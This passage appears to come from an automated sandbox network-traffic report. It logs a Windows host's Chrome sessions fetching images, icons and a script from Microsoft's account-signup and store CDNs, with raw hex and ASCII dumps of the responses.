2022-05-13 14:39:58 UTC 84 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 
75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 
0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 
7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 
d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 
3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef 
ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc 
Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>D*IH$fEJ?*Q;3qX|,-*I1fdlns
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Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

80 192.168.2.3 49853 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:46 UTC 2265 OUT GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:46 UTC 2293 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 19052545
Cache-Control: public, max-age=31536000
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:46 GMT
Etag: 0x8D98583D2C8CF51
Last-Modified: Sat, 02 Oct 2021 09:05:47 GMT
Server: ECAcc (frc/8F36)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ddee09dd-a01e-003d-3f8f-b92d72000000
x-ms-version: 2009-09-19
Content-Length: 1864
Connection: close

2022-05-13 14:40:46 UTC 2293 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 
6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 
3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 
38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 
36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 
34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-
path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-3
80.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID Source IP Source Port Destination IP
Destination
Port

Process

81 192.168.2.3 49851 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:46 UTC 2266 OUT GET /images/favicon.ico?v=2 HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:46 UTC 2267 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 22679546
Cache-Control: public, max-age=31536000
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Content-Type: image/x-icon
Date: Fri, 13 May 2022 14:40:46 GMT
Etag: 0x8D966154FE10D1A
Last-Modified: Mon, 23 Aug 2021 09:06:37 GMT
Server: ECAcc (frc/8F34)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 7a40f300-f01e-0057-5892-9885c3000000
x-ms-version: 2009-09-19
Content-Length: 17174
Connection: close

2022-05-13 14:40:46 UTC 2267 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-05-13 14:40:46 UTC 2283 IN Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 
33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 
33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 
22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 
Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 33
3330""""" 333330""""" 333330

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

82 192.168.2.3 49852 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:46 UTC 2266 OUT GET /datarequestpackage_h-_7C7UzwdefXJT9njDBTQ2.js HTTP/1.1
Host: acctcdn.msauth.net
Connection: keep-alive
Origin: https://signup.live.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: script
Referer: https://signup.live.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:46 UTC 2284 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 25707040
Cache-Control: public, max-age=31536000
Content-MD5: GpB463eVzCq5vobQLSGoUw==
Content-Type: application/javascript
Date: Fri, 13 May 2022 14:40:46 GMT
Etag: 0x8D94AFF41500CE6
Last-Modified: Mon, 19 Jul 2021 21:50:42 GMT
Server: ECAcc (frc/8F1B)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 5a741bc7-e01e-003f-7009-7d201f000000
x-ms-version: 2009-09-19
Content-Length: 8111
Connection: close
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2022-05-13 14:40:46 UTC 2285 IN Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 
28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 65 2e 73 74 61 74 65 3d 3d 6c 26 26 28 65 2e 70 72 65 76 26 26 28 65 2e 70 
72 65 76 2e 6e 65 78 74 3d 65 2e 6e 65 78 74 29 2c 65 2e 6e 65 78 74 26 26 28 65 2e 6e 65 78 74 2e 70 72 65 76 3d 65 
2e 70 72 65 76 29 2c 44 3d 3d 65 26 26 28 44 3d 65 2e 6e 65 78 74 29 2c 24 3d 3d 65 26 26 28 24 3d 65 2e 70 72 65 76 
29 2c 65 2e 73 74 61 74 65 3d 75 2c 65 2e 70 72 65 76 3d 65 2e 6e 65 78 74 3d 6e 75 6c 6c 2c 79 2d 2d 29 2c 65 7d 66 
75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 69 66 28 65 26 26 65 2e 73 74 61 74 65 3d 3d 75 29 7b 76 61 72 20 72 3d 24 3b 
72 3f 28 72 2e 6e 65 78 74 3d 65 2c 65 2e 70 72 65 76 3d 72 29 3a 44 3d 
Data Ascii: !function(){function e(e){function t(e){return e&&e.state==l&&(e.prev&&(e.prev.next=e.next),e.next&&(e.next.
prev=e.prev),D==e&&(D=e.next),$==e&&($=e.prev),e.state=u,e.prev=e.next=null,y--),e}function a(e){if(e&&e.state==u){var 
r=$;r?(r.next=e,e.prev=r):D=

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

83 192.168.2.3 49863 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:47 UTC 2295 OUT GET /images/favicon.ico?v=2 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: acctcdn.msauth.net

2022-05-13 14:40:47 UTC 2296 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ET
ag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 24069825
Cache-Control: public, max-age=31536000
Content-MD5: EuPayFgGHQiAI7K9SOL6lg==
Content-Type: image/x-icon
Date: Fri, 13 May 2022 14:40:47 GMT
Etag: 0x8D9598292CA0818
Last-Modified: Sat, 07 Aug 2021 09:05:59 GMT
Server: ECAcc (frc/8E9B)
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ab29bb00-501e-0061-1fed-8ba27b000000
x-ms-version: 2009-09-19
Content-Length: 17174
Connection: close

2022-05-13 14:40:47 UTC 2296 IN Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 
28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 
00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 
00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 0
0 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 
22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
Data Ascii: h(fHH(00h6  =@(A(("P"""""""""""""""""""""""""""""" 333333333333333

2022-05-13 14:40:47 UTC 2312 IN Data Raw: 01 80 00 00 01 80 00 28 00 00 00 18 00 00 00 30 00 00 00 01 00 04 00 00 00 00 00 80 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 
33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 
33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 22 
22 22 22 22 20 33 33 33 33 33 30 22 22 22 22 22 20 33 33 33 33 33 30 
Data Ascii: (0"P""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 333330""""" 33
3330""""" 333330""""" 333330

Session ID Source IP Source Port Destination IP
Destination
Port

Process

84 192.168.2.3 49864 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:47 UTC 2313 OUT GET /images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: acctcdn.msauth.net
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2022-05-13 14:40:47 UTC 2313 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 25793617
Cache-Control: public, max-age=31536000
Content-MD5: nzaLxFgP7ZB3dfMcaybWzw==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:47 GMT
Etag: 0x8D949CA9E99F66E
Last-Modified: Sun, 18 Jul 2021 09:01:24 GMT
Server: ECAcc (frc/8FED)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 53b4adb0-401e-0009-1d3f-7c07a7000000
x-ms-version: 2009-09-19
Content-Length: 3651
Connection: close

2022-05-13 14:40:47 UTC 2314 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

85 192.168.2.3 49865 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:48 UTC 2317 OUT GET /images/dropdown_caret_KXSZjGsyILZaoTf0sI9X-A2.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: acctcdn.msauth.net

2022-05-13 14:40:48 UTC 2320 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 7684727
Cache-Control: public, max-age=31536000
Content-MD5: 5h8LmH5/oEhH5cNR2+nY3g==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:48 GMT
Etag: 0x8D9EED925BBAE7B
Last-Modified: Sun, 13 Feb 2022 10:11:05 GMT
Server: ECAcc (frc/8E8B)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: 54394d4f-301e-0077-21f3-20fb92000000
x-ms-version: 2009-09-19
Content-Length: 224
Connection: close

2022-05-13 14:40:48 UTC 2321 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 33 36 22 20 68 65 69 67 68 74 3d 22 33 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 33 36 20 33 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 
31 38 2c 32 32 2e 34 38 34 6c 2d 38 2d 38 2c 2e 39 36 39 2d 2e 39 36 38 4c 31 38 2c 32 30 2e 35 34 37 6c 37 2e 30 33 
31 2d 37 2e 30 33 31 2e 39 36 39 2e 39 36 38 2d 38 2c 38 5a 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 33 36 22 
20 68 65 69 67 68 74 3d 22 33 36 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 2f 73 76 67 3e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="36" height="36" viewBox="0 0 36 36"><title>assets</title>
<path d="M18,22.484l-8-8,.969-.968L18,20.547l7.031-7.031.969.968-8,8Z"/><rect width="36" height="36" fill="none"/>
</svg>

Session ID Source IP Source Port Destination IP
Destination
Port

Process

86 192.168.2.3 49866 152.199.21.175 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:48 UTC 2318 OUT GET /images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: acctcdn.msauth.net

2022-05-13 14:40:48 UTC 2318 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 19052547
Cache-Control: public, max-age=31536000
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Content-Type: image/svg+xml
Date: Fri, 13 May 2022 14:40:48 GMT
Etag: 0x8D98583D2C8CF51
Last-Modified: Sat, 02 Oct 2021 09:05:47 GMT
Server: ECAcc (frc/8F36)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: ddee09dd-a01e-003d-3f8f-b92d72000000
x-ms-version: 2009-09-19
Content-Length: 1864
Connection: close

2022-05-13 14:40:48 UTC 2319 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 
6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 
3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 
38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 
36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 
34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-
path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-3
80.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID Source IP Source Port Destination IP
Destination
Port

Process

87 192.168.2.3 49871 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:51 UTC 2321 OUT GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-
13196f5baf00?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:51 UTC 2322 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 17018
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:14 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5Mjk0RDY0MzI"
MS-CV: 8/oQHq+FgEulH2fF.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:51 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:51 UTC 2322 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 42 
41 49 44 41 54 78 9c e5 bd 77 bc 1d c5 79 37 fe 7d 66 77 4f b9 bd e9 ea 0a 15 54 69 92 e8 5d 18 8c c1 18 8c 6d dc 30 c6 
80 13 3b af eb 1b a7 d8 71 12 fb 8d 93 bc bf bc 49 ec c4 25 ee 49 5c 08 71 23 06 63 30 8e 0d c1 18 63 03 a6 08 90 00 21 
40 42 5d ba bd 9f ba bb 33 cf ef 8f 6d 33 bb 7b ae 84 83 4b 92 f9 dc cf b9 7b 66 a7 3e df a7 cd 33 b3 7b 08 37 4d e1 c8 13 
bd a8 c5 e2 c4 2f 52 99 ff d6 c9 7e 01 65 17 06 e0 85 c2 93 5b 77 01 3c e8 70 05 fe bb a7 23 83 6a 01 18 8e 54 ce 32 e5 
38 8f ea a9 52 d9 22 ff 83 01 7b 21 52 95 4a ad 40 ca a2 72 24 c5 16 40 ae 15 60 68 71 f7 bf 69 3a 1c 54 b9 64 cf cf cc 
e4 1e b9 4a 64 b3 7a 0a b6 85 25 e9 7f 8c 9c bd 70 a9 
Data Ascii: PNGIHDRh_BAIDATxwy7}fwOTi]m0;qI%I\q#c0c!@B]3m3{K{f>3{7M/R~e[w<p#jT28R"{!RJ@r$@`hqi:TdJdz%p

2022-05-13 14:40:51 UTC 2338 IN Data Raw: 2e 89 b3 99 e6 82 2f 2c 95 09 72 e6 b7 90 ed 9d 92 ea da dd 78 17 98 c3 df a0 4a 50 49 49 83 2e 4c a6 23 9e 
63 81 90 94 4f 3b 20 5a 23 39 d5 22 6e d2 39 37 cb 95 09 72 9c 63 06 c8 2c 93 dc cb aa c5 5c a2 e9 03 8b 2b ea a9 85 
6e e4 2c 11 72 3b cb 65 70 4a 3e 13 96 32 e4 58 db b0 67 ed 45 4f b1 43 a1 53 3c bb 6c 4a c9 5f aa 77 43 51 b4 12 5c 
73 26 9c 47 cd b8 71 1d 98 d4 6c 75 60 62 5f d4 28 db 3a b4 18 2b 9b 1c a1 4c b1 08 99 76 41 6f 79 01 f9 5b 40 86 a0 89 
51 5e 19 4d 75 d9 89 4c 28 ad 50 cc fb c1 67 1c a8 8d 49 96 95 aa dc 81 72 d6 ad 8f 3f b5 f8 50 4c ac 94 ea cb 5c 66 ec 
8d d6 5a ba 64 eb 00 55 9c a1 f3 6e 6a 1b 0c 6c 48 67 68 d8 62 bc 29 d9 de 33 ea 99 e3 cf 32 6b 5c 3d bb 07 94 10 3f 6f 
2e 61 64 3d d1 48 1a 92 71 70 96 75 a6 36 77 16 74 d9 d2 9b cf 
Data Ascii: ./,rxJPII.L#cO; Z#9"n97rc,\+n,r;epJ>2XgEOCS<lJ_wCQ\s&Gqlu`b_(:+LvAoy[@Q^MuL(PgIr?PL\fZdU
njlHghb)32k\=?o.ad=Hqpu6wt
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

88 192.168.2.3 49878 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:56 UTC 2339 OUT GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d
3d24cf6c1b8?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:56 UTC 2339 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 4575
Content-Type: image/png
